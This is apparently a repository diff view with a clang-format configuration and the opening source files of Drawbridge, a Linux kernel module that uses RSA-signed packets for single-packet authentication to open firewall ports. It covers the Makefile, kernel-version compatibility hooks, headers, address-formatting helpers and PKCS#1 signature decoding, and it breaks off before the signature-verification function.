AlwaysBreakAfterDefinitionReturnType: None
AlwaysBreakAfterReturnType: None
AlwaysBreakBeforeMultilineStrings: false
AlwaysBreakTemplateDeclarations: false
BinPackArguments: true
BinPackParameters: true
BraceWrapping:
AfterClass: false
AfterControlStatement: false
AfterEnum: false
AfterFunction: true
AfterNamespace: true
AfterObjCDeclaration: false
AfterStruct: false
AfterUnion: false
#AfterExternBlock: false # Unknown to clang-format-5.0
BeforeCatch: false
BeforeElse: false
IndentBraces: false
#SplitEmptyFunction: true # Unknown to clang-format-4.0
#SplitEmptyRecord: true # Unknown to clang-format-4.0
#SplitEmptyNamespace: true # Unknown to clang-format-4.0
BreakBeforeBinaryOperators: None
BreakBeforeBraces: Custom
#BreakBeforeInheritanceComma: false # Unknown to clang-format-4.0
BreakBeforeTernaryOperators: false
BreakConstructorInitializersBeforeComma: false
#BreakConstructorInitializers: BeforeComma # Unknown to clang-format-4.0
BreakAfterJavaFieldAnnotations: false
BreakStringLiterals: false
ColumnLimit: 80
CommentPragmas: '^ IWYU pragma:'
#CompactNamespaces: false # Unknown to clang-format-4.0
ConstructorInitializerAllOnOneLineOrOnePerLine: false
ConstructorInitializerIndentWidth: 4
ContinuationIndentWidth: 4
Cpp11BracedListStyle: false
DerivePointerAlignment: false
DisableFormat: false
ExperimentalAutoDetectBinPacking: false
#FixNamespaceComments: false # Unknown to clang-format-4.0
# Taken from:
# git grep -h '^#define [^[:space:]]*for_each[^[:space:]]*(' include/ \
# | sed "s,^#define \([^[:space:]]*for_each[^[:space:]]*\)(.*$, - '\1'," \
# | sort | uniq
ForEachMacros:
- 'apei_estatus_for_each_section'
- 'ata_for_each_dev'
- 'ata_for_each_link'
- '__ata_qc_for_each'
- 'ata_qc_for_each'
- 'ata_qc_for_each_raw'
- 'ata_qc_for_each_with_internal'
- 'ax25_for_each'
- 'ax25_uid_for_each'
- '__bio_for_each_bvec'
- 'bio_for_each_bvec'
- 'bio_for_each_bvec_all'
- 'bio_for_each_integrity_vec'
- '__bio_for_each_segment'
- 'bio_for_each_segment'
- 'bio_for_each_segment_all'
- 'bio_list_for_each'
- 'bip_for_each_vec'
- 'bitmap_for_each_clear_region'
- 'bitmap_for_each_set_region'
- 'blkg_for_each_descendant_post'
- 'blkg_for_each_descendant_pre'
- 'blk_queue_for_each_rl'
- 'bond_for_each_slave'
- 'bond_for_each_slave_rcu'
- 'bpf_for_each_spilled_reg'
- 'btree_for_each_safe128'
- 'btree_for_each_safe32'
- 'btree_for_each_safe64'
- 'btree_for_each_safel'
- 'card_for_each_dev'
- 'cgroup_taskset_for_each'
- 'cgroup_taskset_for_each_leader'
- 'cpufreq_for_each_entry'
- 'cpufreq_for_each_entry_idx'
- 'cpufreq_for_each_valid_entry'
- 'cpufreq_for_each_valid_entry_idx'
- 'css_for_each_child'
- 'css_for_each_descendant_post'
- 'css_for_each_descendant_pre'
- 'cxl_for_each_cmd'
- 'device_for_each_child_node'
- 'dma_fence_chain_for_each'
- 'do_for_each_ftrace_op'
- 'drm_atomic_crtc_for_each_plane'
- 'drm_atomic_crtc_state_for_each_plane'
- 'drm_atomic_crtc_state_for_each_plane_state'
- 'drm_atomic_for_each_plane_damage'
- 'drm_client_for_each_connector_iter'
- 'drm_client_for_each_modeset'
- 'drm_connector_for_each_possible_encoder'
- 'drm_for_each_bridge_in_chain'
- 'drm_for_each_connector_iter'
- 'drm_for_each_crtc'
- 'drm_for_each_crtc_reverse'
- 'drm_for_each_encoder'
- 'drm_for_each_encoder_mask'
- 'drm_for_each_fb'
- 'drm_for_each_legacy_plane'
- 'drm_for_each_plane'
- 'drm_for_each_plane_mask'
- 'drm_for_each_privobj'
- 'drm_mm_for_each_hole'
- 'drm_mm_for_each_node'
- 'drm_mm_for_each_node_in_range'
- 'drm_mm_for_each_node_safe'
- 'flow_action_for_each'
- 'for_each_active_dev_scope'
- 'for_each_active_drhd_unit'
- 'for_each_active_iommu'
- 'for_each_aggr_pgid'
- 'for_each_available_child_of_node'
- 'for_each_bio'
- 'for_each_board_func_rsrc'
- 'for_each_bvec'
- 'for_each_card_auxs'
- 'for_each_card_auxs_safe'
- 'for_each_card_components'
- 'for_each_card_dapms'
- 'for_each_card_pre_auxs'
- 'for_each_card_prelinks'
- 'for_each_card_rtds'
- 'for_each_card_rtds_safe'
- 'for_each_card_widgets'
- 'for_each_card_widgets_safe'
- 'for_each_cgroup_storage_type'
- 'for_each_child_of_node'
- 'for_each_clear_bit'
- 'for_each_clear_bit_from'
- 'for_each_cmsghdr'
- 'for_each_compatible_node'
- 'for_each_component_dais'
- 'for_each_component_dais_safe'
- 'for_each_comp_order'
- 'for_each_console'
- 'for_each_cpu'
- 'for_each_cpu_and'
- 'for_each_cpu_not'
- 'for_each_cpu_wrap'
- 'for_each_dapm_widgets'
- 'for_each_dev_addr'
- 'for_each_dev_scope'
- 'for_each_displayid_db'
- 'for_each_dma_cap_mask'
- 'for_each_dpcm_be'
- 'for_each_dpcm_be_rollback'
- 'for_each_dpcm_be_safe'
- 'for_each_dpcm_fe'
- 'for_each_drhd_unit'
- 'for_each_dss_dev'
- 'for_each_efi_memory_desc'
- 'for_each_efi_memory_desc_in_map'
- 'for_each_element'
- 'for_each_element_extid'
- 'for_each_element_id'
- 'for_each_endpoint_of_node'
- 'for_each_evictable_lru'
- 'for_each_fib6_node_rt_rcu'
- 'for_each_fib6_walker_rt'
- 'for_each_free_mem_pfn_range_in_zone'
- 'for_each_free_mem_pfn_range_in_zone_from'
- 'for_each_free_mem_range'
- 'for_each_free_mem_range_reverse'
- 'for_each_func_rsrc'
- 'for_each_hstate'
- 'for_each_if'
- 'for_each_iommu'
- 'for_each_ip_tunnel_rcu'
- 'for_each_irq_nr'
- 'for_each_link_codecs'
- 'for_each_link_cpus'
- 'for_each_link_platforms'
- 'for_each_lru'
- 'for_each_matching_node'
- 'for_each_matching_node_and_match'
- 'for_each_member'
- 'for_each_memcg_cache_index'
- 'for_each_mem_pfn_range'
- '__for_each_mem_range'
- 'for_each_mem_range'
- '__for_each_mem_range_rev'
- 'for_each_mem_range_rev'
- 'for_each_mem_region'
- 'for_each_migratetype_order'
- 'for_each_msi_entry'
- 'for_each_msi_entry_safe'
- 'for_each_net'
- 'for_each_net_continue_reverse'
- 'for_each_netdev'
- 'for_each_netdev_continue'
- 'for_each_netdev_continue_rcu'
- 'for_each_netdev_continue_reverse'
- 'for_each_netdev_feature'
- 'for_each_netdev_in_bond_rcu'
- 'for_each_netdev_rcu'
- 'for_each_netdev_reverse'
- 'for_each_netdev_safe'
- 'for_each_net_rcu'
- 'for_each_new_connector_in_state'
- 'for_each_new_crtc_in_state'
- 'for_each_new_mst_mgr_in_state'
- 'for_each_new_plane_in_state'
- 'for_each_new_private_obj_in_state'
- 'for_each_node'
- 'for_each_node_by_name'
- 'for_each_node_by_type'
- 'for_each_node_mask'
- 'for_each_node_state'
- 'for_each_node_with_cpus'
- 'for_each_node_with_property'
- 'for_each_nonreserved_multicast_dest_pgid'
- 'for_each_of_allnodes'
- 'for_each_of_allnodes_from'
- 'for_each_of_cpu_node'
- 'for_each_of_pci_range'
- 'for_each_old_connector_in_state'
- 'for_each_old_crtc_in_state'
- 'for_each_old_mst_mgr_in_state'
- 'for_each_oldnew_connector_in_state'
- 'for_each_oldnew_crtc_in_state'
- 'for_each_oldnew_mst_mgr_in_state'
- 'for_each_oldnew_plane_in_state'
- 'for_each_oldnew_plane_in_state_reverse'
- 'for_each_oldnew_private_obj_in_state'
- 'for_each_old_plane_in_state'
- 'for_each_old_private_obj_in_state'
- 'for_each_online_cpu'
- 'for_each_online_node'
- 'for_each_online_pgdat'
- 'for_each_pci_bridge'
- 'for_each_pci_dev'
- 'for_each_pci_msi_entry'
- 'for_each_pcm_streams'
- 'for_each_physmem_range'
- 'for_each_populated_zone'
- 'for_each_possible_cpu'
- 'for_each_present_cpu'
- 'for_each_prime_number'
- 'for_each_prime_number_from'
- 'for_each_process'
- 'for_each_process_thread'
- 'for_each_property_of_node'
- 'for_each_registered_fb'
- 'for_each_requested_gpio'
- 'for_each_requested_gpio_in_range'
- 'for_each_reserved_mem_range'
- 'for_each_reserved_mem_region'
- 'for_each_rtd_codec_dais'
- 'for_each_rtd_components'
- 'for_each_rtd_cpu_dais'
- 'for_each_rtd_dais'
- 'for_each_set_bit'
- 'for_each_set_bit_from'
- 'for_each_set_clump8'
- 'for_each_sg'
- 'for_each_sg_dma_page'
- 'for_each_sg_page'
- 'for_each_sgtable_dma_page'
- 'for_each_sgtable_dma_sg'
- 'for_each_sgtable_page'
- 'for_each_sgtable_sg'
- 'for_each_sibling_event'
- 'for_each_subelement'
- 'for_each_subelement_extid'
- 'for_each_subelement_id'
- '__for_each_thread'
- 'for_each_thread'
- 'for_each_unicast_dest_pgid'
- 'for_each_vsi'
- 'for_each_wakeup_source'
- 'for_each_zone'
- 'for_each_zone_zonelist'
- 'for_each_zone_zonelist_nodemask'
- 'fwnode_for_each_available_child_node'
- 'fwnode_for_each_child_node'
- 'fwnode_graph_for_each_endpoint'
- 'gadget_for_each_ep'
- 'genradix_for_each'
- 'genradix_for_each_from'
- 'hash_for_each'
- 'hash_for_each_possible'
- 'hash_for_each_possible_rcu'
- 'hash_for_each_possible_rcu_notrace'
- 'hash_for_each_possible_safe'
- 'hash_for_each_rcu'
- 'hash_for_each_safe'
- 'hctx_for_each_ctx'
- 'hlist_bl_for_each_entry'
- 'hlist_bl_for_each_entry_rcu'
- 'hlist_bl_for_each_entry_safe'
- 'hlist_for_each'
- 'hlist_for_each_entry'
- 'hlist_for_each_entry_continue'
- 'hlist_for_each_entry_continue_rcu'
- 'hlist_for_each_entry_continue_rcu_bh'
- 'hlist_for_each_entry_from'
- 'hlist_for_each_entry_from_rcu'
- 'hlist_for_each_entry_rcu'
- 'hlist_for_each_entry_rcu_bh'
- 'hlist_for_each_entry_rcu_notrace'
- 'hlist_for_each_entry_safe'
- 'hlist_for_each_entry_srcu'
- '__hlist_for_each_rcu'
- 'hlist_for_each_safe'
- 'hlist_nulls_for_each_entry'
- 'hlist_nulls_for_each_entry_from'
- 'hlist_nulls_for_each_entry_rcu'
- 'hlist_nulls_for_each_entry_safe'
- 'i3c_bus_for_each_i2cdev'
- 'i3c_bus_for_each_i3cdev'
- 'ide_host_for_each_port'
- 'ide_port_for_each_dev'
- 'ide_port_for_each_present_dev'
- 'idr_for_each_entry'
- 'idr_for_each_entry_continue'
- 'idr_for_each_entry_continue_ul'
- 'idr_for_each_entry_ul'
- 'in_dev_for_each_ifa_rcu'
- 'in_dev_for_each_ifa_rtnl'
- 'inet_bind_bucket_for_each'
- 'inet_lhash2_for_each_icsk_rcu'
- 'key_for_each'
- 'key_for_each_safe'
- 'klp_for_each_func'
- 'klp_for_each_func_safe'
- 'klp_for_each_func_static'
- 'klp_for_each_object'
- 'klp_for_each_object_safe'
- 'klp_for_each_object_static'
- 'kunit_suite_for_each_test_case'
- 'kvm_for_each_memslot'
- 'kvm_for_each_vcpu'
- 'list_for_each'
- 'list_for_each_codec'
- 'list_for_each_codec_safe'
- 'list_for_each_continue'
- 'list_for_each_entry'
- 'list_for_each_entry_continue'
- 'list_for_each_entry_continue_rcu'
- 'list_for_each_entry_continue_reverse'
- 'list_for_each_entry_from'
- 'list_for_each_entry_from_rcu'
- 'list_for_each_entry_from_reverse'
- 'list_for_each_entry_lockless'
- 'list_for_each_entry_rcu'
- 'list_for_each_entry_reverse'
- 'list_for_each_entry_safe'
- 'list_for_each_entry_safe_continue'
- 'list_for_each_entry_safe_from'
- 'list_for_each_entry_safe_reverse'
- 'list_for_each_entry_srcu'
- 'list_for_each_prev'
- 'list_for_each_prev_safe'
- 'list_for_each_safe'
- 'llist_for_each'
- 'llist_for_each_entry'
- 'llist_for_each_entry_safe'
- 'llist_for_each_safe'
- 'mci_for_each_dimm'
- 'media_device_for_each_entity'
- 'media_device_for_each_intf'
- 'media_device_for_each_link'
- 'media_device_for_each_pad'
- 'nanddev_io_for_each_page'
- 'netdev_for_each_lower_dev'
- 'netdev_for_each_lower_private'
- 'netdev_for_each_lower_private_rcu'
- 'netdev_for_each_mc_addr'
- 'netdev_for_each_uc_addr'
- 'netdev_for_each_upper_dev_rcu'
- 'netdev_hw_addr_list_for_each'
- 'nft_rule_for_each_expr'
- 'nla_for_each_attr'
- 'nla_for_each_nested'
- 'nlmsg_for_each_attr'
- 'nlmsg_for_each_msg'
- 'nr_neigh_for_each'
- 'nr_neigh_for_each_safe'
- 'nr_node_for_each'
- 'nr_node_for_each_safe'
- 'of_for_each_phandle'
- 'of_property_for_each_string'
- 'of_property_for_each_u32'
- 'pci_bus_for_each_resource'
- 'pcl_for_each_chunk'
- 'pcl_for_each_segment'
- 'pcm_for_each_format'
- 'ping_portaddr_for_each_entry'
- 'plist_for_each'
- 'plist_for_each_continue'
- 'plist_for_each_entry'
- 'plist_for_each_entry_continue'
- 'plist_for_each_entry_safe'
- 'plist_for_each_safe'
- 'pnp_for_each_card'
- 'pnp_for_each_dev'
- 'protocol_for_each_card'
- 'protocol_for_each_dev'
- 'queue_for_each_hw_ctx'
- 'radix_tree_for_each_slot'
- 'radix_tree_for_each_tagged'
- 'rbtree_postorder_for_each_entry_safe'
- 'rdma_for_each_block'
- 'rdma_for_each_port'
- 'rdma_umem_for_each_dma_block'
- 'resource_list_for_each_entry'
- 'resource_list_for_each_entry_safe'
- 'rhl_for_each_entry_rcu'
- 'rhl_for_each_rcu'
- 'rht_for_each'
- 'rht_for_each_entry'
- 'rht_for_each_entry_from'
- 'rht_for_each_entry_rcu'
- 'rht_for_each_entry_rcu_from'
- 'rht_for_each_entry_safe'
- 'rht_for_each_from'
- 'rht_for_each_rcu'
- 'rht_for_each_rcu_from'
- '__rq_for_each_bio'
- 'rq_for_each_bvec'
- 'rq_for_each_segment'
- 'scsi_for_each_prot_sg'
- 'scsi_for_each_sg'
- 'sctp_for_each_hentry'
- 'sctp_skb_for_each'
- 'shdma_for_each_chan'
- '__shost_for_each_device'
- 'shost_for_each_device'
- 'sk_for_each'
- 'sk_for_each_bound'
- 'sk_for_each_entry_offset_rcu'
- 'sk_for_each_from'
- 'sk_for_each_rcu'
- 'sk_for_each_safe'
- 'sk_nulls_for_each'
- 'sk_nulls_for_each_from'
- 'sk_nulls_for_each_rcu'
- 'snd_array_for_each'
- 'snd_pcm_group_for_each_entry'
- 'snd_soc_dapm_widget_for_each_path'
- 'snd_soc_dapm_widget_for_each_path_safe'
- 'snd_soc_dapm_widget_for_each_sink_path'
- 'snd_soc_dapm_widget_for_each_source_path'
- 'tb_property_for_each'
- 'tcf_exts_for_each_action'
- 'udp_portaddr_for_each_entry'
- 'udp_portaddr_for_each_entry_rcu'
- 'usb_hub_for_each_child'
- 'v4l2_device_for_each_subdev'
- 'v4l2_m2m_for_each_dst_buf'
- 'v4l2_m2m_for_each_dst_buf_safe'
- 'v4l2_m2m_for_each_src_buf'
- 'v4l2_m2m_for_each_src_buf_safe'
- 'virtio_device_for_each_vq'
- 'while_for_each_ftrace_op'
- 'xa_for_each'
- 'xa_for_each_marked'
- 'xa_for_each_range'
- 'xa_for_each_start'
- 'xas_for_each'
- 'xas_for_each_conflict'
- 'xas_for_each_marked'
- 'xbc_array_for_each_value'
- 'xbc_for_each_key_value'
- 'xbc_node_for_each_array_value'
- 'xbc_node_for_each_child'
- 'xbc_node_for_each_key_value'
- 'zorro_for_each_dev'
#IncludeBlocks: Preserve # Unknown to clang-format-5.0
IncludeCategories:
- Regex: '.*'
Priority: 1
IncludeIsMainRegex: '(Test)?$'
IndentCaseLabels: false
#IndentPPDirectives: None # Unknown to clang-format-5.0
IndentWidth: 4
IndentWrappedFunctionNames: false
JavaScriptQuotes: Leave
JavaScriptWrapImports: true
KeepEmptyLinesAtTheStartOfBlocks: false
MacroBlockBegin: ''
MacroBlockEnd: ''
MaxEmptyLinesToKeep: 1
NamespaceIndentation: None
#ObjCBinPackProtocolList: Auto # Unknown to clang-format-5.0
ObjCBlockIndentWidth: 8
ObjCSpaceAfterProperty: true
ObjCSpaceBeforeProtocolList: true
# Taken from git's rules
#PenaltyBreakAssignment: 10 # Unknown to clang-format-4.0
PenaltyBreakBeforeFirstCallParameter: 30
PenaltyBreakComment: 10
PenaltyBreakFirstLessLess: 0
PenaltyBreakString: 10
PenaltyExcessCharacter: 100
PenaltyReturnTypeOnItsOwnLine: 60
PointerAlignment: Right
ReflowComments: false
SortIncludes: false
#SortUsingDeclarations: false # Unknown to clang-format-4.0
SpaceAfterCStyleCast: false
SpaceAfterTemplateKeyword: true
SpaceBeforeAssignmentOperators: true
#SpaceBeforeCtorInitializerColon: true # Unknown to clang-format-5.0
#SpaceBeforeInheritanceColon: true # Unknown to clang-format-5.0
SpaceBeforeParens: ControlStatements
#SpaceBeforeRangeBasedForLoopColon: true # Unknown to clang-format-5.0
SpaceInEmptyParentheses: false
SpacesBeforeTrailingComments: 1
SpacesInAngles: false
SpacesInContainerLiterals: false
SpacesInCStyleCastParentheses: false
SpacesInParentheses: false
SpacesInSquareBrackets: false
Standard: Cpp03
TabWidth: 4
UseTab: Never
...

View File

@ -0,0 +1,28 @@
CONFIG_MODULE_SIG=n
obj-m += drawbridge.o
drawbridge-objs := xt_hook.o xt_listen.o xt_state.o xt_crypto.o utils.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
EXTRA_CFLAGS := -O2
release:
ifneq ("$(wildcard ./key.h)","")
$(MAKE) -C $(KDIR) M=$(PWD) modules
rm -fr *.o .*.cmd Module.symvers modules.order drawbridge.mod.c
else
@echo "[!] Please ensure you've generated a public key, and that key.h is in this directory"
endif
debug:
ifneq ("$(wildcard ./key.h)","")
KCPPFLAGS="-DDEBUG" $(MAKE) -C $(KDIR) M=$(PWD) modules
rm -fr *.o .*.cmd Module.symvers modules.order drawbridge.mod.c
else
@echo "[!] Please ensure you've generated a public key, and that key.h is in this directory"
endif
clean:
$(MAKE) -C $(KDIR) M=$(PWD) clean

View File

@ -0,0 +1,75 @@
/**
* @file compat.h
* @brief Kernel Version Specific Prototypes/Compatibility Header
*
* @author Bradley Landherr
*
* @date 03/17/2021
*/
#ifndef _LINUX_DRAWBRIDGE_COMPAT
#define _LINUX_DRAWBRIDGE_COMPAT 1
static unsigned int pkt_hook_v6(struct sk_buff *skb);
static unsigned int pkt_hook_v4(struct sk_buff *skb);
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0)
static unsigned int hook_wrapper_v4(void *priv, struct sk_buff *skb,
const struct nf_hook_state *state)
{
return pkt_hook_v4(skb);
}
static unsigned int hook_wrapper_v6(void *priv, struct sk_buff *skb,
const struct nf_hook_state *state)
{
return pkt_hook_v6(skb);
}
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(4, 1, 0)
static unsigned int hook_wrapper_v4(const struct nf_hook_ops *ops,
struct sk_buff *skb,
const struct nf_hook_state *state)
{
return pkt_hook_v4(skb);
}
static unsigned int hook_wrapper_v6(const struct nf_hook_ops *ops,
struct sk_buff *skb,
const struct nf_hook_state *state)
{
return pkt_hook_v6(skb);
}
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(3, 13, 0)
static unsigned int hook_wrapper_v4(const struct nf_hook_ops *ops,
struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return pkt_hook_v4(skb);
}
static unsigned int hook_wrapper_v6(const struct nf_hook_ops *ops,
struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return pkt_hook_v6(skb);
}
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(3, 0, 0)
static unsigned int hook_wrapper_v4(unsigned int hooknum, struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return pkt_hook_v4(skb);
}
static unsigned int hook_wrapper_v6(unsigned int hooknum, struct sk_buff *skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return pkt_hook_v6(skb);
}
#else
#error "Unsuported kernel version. Only Linux 3.X and greater."
#endif
#endif /* _LINUX_DRAWBRIDGE_COMPAT */

View File

@ -0,0 +1,122 @@
/**
* @file drawbridge.h
* @brief Generic module header for Drawbridge
*
* @author Bradley Landherr
*
* @date 04/11/2018
*/
#ifndef _LINUX_DRAWBRIDGE_H
#define _LINUX_DRAWBRIDGE_H 1
// Protocol headers
#include <linux/if_ether.h>
#include <linux/icmp.h>
#include <linux/ip.h>
#include <linux/ipv6.h>
#include <linux/in.h>
#include <linux/tcp.h>
// List implementation in kernel
#include <linux/list.h>
// Crypto
#include <crypto/akcipher.h>
// Time
#include <linux/time64.h>
// Timout Configuration - default 5 min = 300000msec
#define STATE_TIMEOUT 300000
// Defaults
#define MAX_PACKET_SIZE 65535
#define MAX_SIG_SIZE 4096
#define MAX_DIGEST_SIZE 256
#ifdef DEBUG
#define DEBUG_PRINT(fmt, args...) printk(KERN_DEBUG fmt, ##args)
#else
#define DEBUG_PRINT(fmt, args...) /* Don't do anything in release builds */
#endif
#define LOG_PRINT(fmt, args...) printk(KERN_NOTICE fmt, ##args)
/*
* Public key cryptography signature data
*/
typedef struct pkey_signature {
u8 *s; /* Signature */
u32 s_size; /* Number of bytes in signature */
u8 *digest;
u32 digest_size; /* Number of bytes in digest */
} pkey_signature;
/*
* Connection state for Trigger module
*/
typedef struct conntrack_state {
// IP version type
int type;
// Destination port
__be16 port;
// Source IP
union {
struct in6_addr addr_6;
__be32 addr_4;
} src;
// Timestamps
unsigned long time_added;
unsigned long time_updated;
// List entry
struct list_head list;
struct rcu_head rcu;
} conntrack_state;
// Must be packed so that the compiler doesn't byte align the structure
struct packet {
// Protocol data
struct timespec64 timestamp;
__be16 port;
} __attribute__((packed));
// Typdefs for cleaner code
typedef struct akcipher_request akcipher_request;
typedef struct crypto_akcipher crypto_akcipher;
// listen.c prototypes
int listen(void *data);
void inet_ntoa(char *str_ip, __be32 int_ip);
// State API
conntrack_state *init_state(void);
int state_lookup(conntrack_state *head, int type, __be32 src,
struct in6_addr *src_6, __be16 port);
void state_add(conntrack_state *head, int type, __be32 src,
struct in6_addr *src_6, __be16 port);
void cleanup_states(conntrack_state *head);
// Connection Reaper API
void reap_expired_connections(unsigned long timeout);
struct timer_list *init_reaper(unsigned long timeout);
void cleanup_reaper(struct timer_list *my_timer);
// Crypto API
akcipher_request *init_keys(crypto_akcipher **tfm, void *data, int len);
void free_keys(crypto_akcipher *tfm, akcipher_request *req);
int verify_sig_rsa(akcipher_request *req, pkey_signature *sig);
void *gen_digest(void *buf, unsigned int len);
// Utils
void inet6_ntoa(char *str_ip, struct in6_addr *src_6);
void inet_ntoa(char *str_ip, __be32 int_ip);
void hexdump(unsigned char *buf, unsigned int len);
#endif /* _LINUX_DRAWBRIDGE_H */

View File

@ -0,0 +1,70 @@
/**
* @file utils.c
* @brief Implements helper utilties for Drawbridge
*
* @author Bradley Landherr
*
* @date 04/11/2018
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <net/sock.h>
/**
* @brief IPv4 Network to address display format
* @param str_ip Destination buffer, must be at least 17 bytes
* @param int_ip The address in big endian binary form
* @return void
*/
void inet_ntoa(char *str_ip, __be32 int_ip)
{
if (!str_ip)
return;
memset(str_ip, 0, 16);
sprintf(str_ip, "%d.%d.%d.%d", (int_ip)&0xFF, (int_ip >> 8) & 0xFF,
(int_ip >> 16) & 0xFF, (int_ip >> 24) & 0xFF);
return;
}
/**
* @brief IPv6 Network to address display format
* @param str_ip Destination buffer, must be at least 17 bytes
* @param src_6 The address in big endian binary form
* @return void
*/
void inet6_ntoa(char *str_ip, struct in6_addr *src_6)
{
if (!str_ip)
return;
memset(str_ip, 0, 32);
sprintf(
str_ip,
"%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x",
(int)src_6->s6_addr[0], (int)src_6->s6_addr[1], (int)src_6->s6_addr[2],
(int)src_6->s6_addr[3], (int)src_6->s6_addr[4], (int)src_6->s6_addr[5],
(int)src_6->s6_addr[6], (int)src_6->s6_addr[7], (int)src_6->s6_addr[8],
(int)src_6->s6_addr[9], (int)src_6->s6_addr[10],
(int)src_6->s6_addr[11], (int)src_6->s6_addr[12],
(int)src_6->s6_addr[13], (int)src_6->s6_addr[14],
(int)src_6->s6_addr[15]);
return;
}
/**
* @brief Hexdump a buffer if the DEBUG flag is set
* @param buf Source buffer
* @param len Number of bytes to display
* @return void
*/
inline void hexdump(unsigned char *buf, unsigned int len)
{
#ifdef DEBUG
while (len--)
DEBUG_PRINT("%02x", *buf++);
DEBUG_PRINT("\n");
#endif
}

View File

@ -0,0 +1,299 @@
/**
* @file xt_crypto.c
* @brief Implements asymmetric crypto wrapper API
* for Single Packet Authentication
*
* @author Bradley Landherr
*
* @date 04/11/2018
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <crypto/hash.h>
#include <linux/err.h>
#include <linux/scatterlist.h>
#include <crypto/internal/rsa.h>
#include <crypto/internal/akcipher.h>
#include <crypto/algapi.h>
#include <linux/version.h>
#include "drawbridge.h"
// Stores the result of an async operation
typedef struct op_result {
struct completion completion;
int err;
} op_result;
static const u8 RSA_digest_info_SHA256[] = {
0x30, 0x31, 0x30, 0x0d, 0x06,
0x09, 0x60, 0x86, 0x48, 0x01,
0x65, 0x03, 0x04, 0x02, 0x01,
0x05, 0x00, 0x04, 0x20
};
typedef struct RSA_ASN1_template {
const u8 *data;
size_t size;
} RSA_ASN1_template;
RSA_ASN1_template sha256_template;
akcipher_request *init_keys(crypto_akcipher **tfm, void *data, int len)
{
// Request struct
int err;
akcipher_request *req;
*tfm = crypto_alloc_akcipher("rsa", 0, 0);
if (IS_ERR(*tfm)) {
DEBUG_PRINT(KERN_INFO "[!] Could not allocate akcipher handle\n");
return NULL;
}
req = akcipher_request_alloc(*tfm, GFP_KERNEL);
if (!req) {
DEBUG_PRINT(KERN_INFO
"[!] Could not allocate akcipher_request struct\n");
return NULL;
}
err = crypto_akcipher_set_pub_key(*tfm, data, len);
if (err) {
DEBUG_PRINT(KERN_INFO "[!] Could not set the public key\n");
akcipher_request_free(req);
return NULL;
}
return req;
}
void free_keys(crypto_akcipher *tfm, akcipher_request *req)
{
if (req) {
akcipher_request_free(req);
}
if (tfm) {
crypto_free_akcipher(tfm);
}
}
// Callback for crypto_async_request completion routine
static void op_complete(struct crypto_async_request *req, int err)
{
op_result *res = (op_result *)(req->data);
if (err == -EINPROGRESS) {
return;
}
res->err = err;
complete(&res->completion);
}
// Wait on crypto operation
static int wait_async_op(op_result *res, int ret)
{
if (ret == -EINPROGRESS || ret == -EBUSY) {
wait_for_completion(&(res->completion));
reinit_completion(&(res->completion));
ret = res->err;
}
return ret;
}
void *gen_digest(void *buf, unsigned int len)
{
struct scatterlist src;
struct crypto_ahash *tfm;
struct ahash_request *req;
unsigned char *output = NULL;
int MAX_OUT;
tfm = crypto_alloc_ahash("sha256", 0, CRYPTO_ALG_ASYNC);
if (IS_ERR(tfm)) {
return NULL;
}
sg_init_one(&src, buf, len);
req = ahash_request_alloc(tfm, GFP_ATOMIC);
if (IS_ERR(req)) {
crypto_free_ahash(tfm);
return NULL;
}
MAX_OUT = crypto_ahash_digestsize(tfm);
output = kzalloc(MAX_OUT, GFP_KERNEL);
if (!output) {
crypto_free_ahash(tfm);
ahash_request_free(req);
return NULL;
}
ahash_request_set_callback(req, 0, NULL, NULL);
ahash_request_set_crypt(req, &src, output, len);
if (crypto_ahash_digest(req)) {
crypto_free_ahash(tfm);
ahash_request_free(req);
kfree(output);
return NULL;
}
crypto_free_ahash(tfm);
ahash_request_free(req);
return output;
}
// Derived from https://github.com/torvalds/linux/blob/db6c43bd2132dc2dd63d73a6d1ed601cffd0ae06/crypto/asymmetric_keys/rsa.c#L101
// and https://tools.ietf.org/html/rfc8017#section-9.2
// thanks to Maarten Bodewes for answering my question on Stackoverflow
// https://stackoverflow.com/questions/49662595/linux-kernel-rsa-signature-verification-crypto-akcipher-verify-output
static char *pkcs_1_v1_5_decode_emsa(unsigned char *EM, unsigned long EMlen,
const u8 *asn1_template, size_t asn1_size,
size_t hash_size)
{
unsigned int t_offset, ps_end, ps_start, i;
if (EMlen < 2 + 1 + asn1_size + hash_size)
return NULL;
/* Decode the EMSA-PKCS1-v1_5
* note: leading zeros are stripped by the RSA implementation in older kernels
* so EM = 0x00 || 0x01 || PS || 0x00 || T
* will become EM = 0x01 || PS || 0x00 || T.
*/
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 8, 0)
ps_start = 1;
if (EM[0] != 0x01) {
DEBUG_PRINT(" = -EBADMSG [EM[0] == %02u]\n", EM[0]);
return NULL;
}
#else
ps_start = 2;
if (EM[0] != 0x00 || EM[1] != 0x01) {
DEBUG_PRINT(" = -EBADMSG [EM[0] == %02u] [EM[1] == %02u]\n", EM[0],
EM[1]);
return NULL;
}
#endif
// Calculate offsets
t_offset = EMlen - (asn1_size + hash_size);
ps_end = t_offset - 1;
// Check if there's a 0x00 seperator between PS and T
if (EM[ps_end] != 0x00) {
DEBUG_PRINT(" = -EBADMSG [EM[T-1] == %02u]\n", EM[ps_end]);
return NULL;
}
// Check the PS 0xff padding
for (i = ps_start; i < ps_end; i++) {
if (EM[i] != 0xff) {
DEBUG_PRINT(" = -EBADMSG [EM[PS%x] == %02u]\n", i - 2, EM[i]);
return NULL;
}
}
// Compare the DER encoding T of the DigestInfo value
if (crypto_memneq(asn1_template, EM + t_offset, asn1_size) != 0) {
DEBUG_PRINT(" = -EBADMSG [EM[T] ASN.1 mismatch]\n");
return NULL;
}
return EM + t_offset + asn1_size;
}
// Verify a recieved signature
